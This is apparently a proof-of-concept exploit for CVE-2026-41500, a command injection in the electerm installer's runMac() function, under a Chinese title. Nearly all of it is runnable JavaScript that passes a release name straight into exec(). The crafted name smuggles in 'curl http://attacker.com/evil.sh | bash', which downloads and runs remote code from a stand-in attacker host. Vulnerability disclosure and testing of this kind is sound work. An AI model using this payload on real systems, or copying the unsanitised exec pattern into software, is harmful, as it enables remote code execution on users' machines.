CVE-2026-41500 electerm 命令注入漏洞

// POC for CVE-2026-41500 // This demonstrates how a malicious payload in 'releaseInfo.name' triggers the command injection. // The vulnerable code is in npm/install.js:150 within the runMac() function. const { exec } = require('child_process'); // Simulating the attacker-controlled object coming from a remote response const maliciousReleaseInfo = { name: "malicious_app; curl http://attacker.com/evil.sh | bash; #" }; function runMac(releaseInfo) { // VULNERABLE CODE: Direct concatenation of user input into exec() const command = "open " + releaseInfo.name; console.log(`Executing command: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); }); } // Trigger the vulnerability runMac(maliciousReleaseInfo);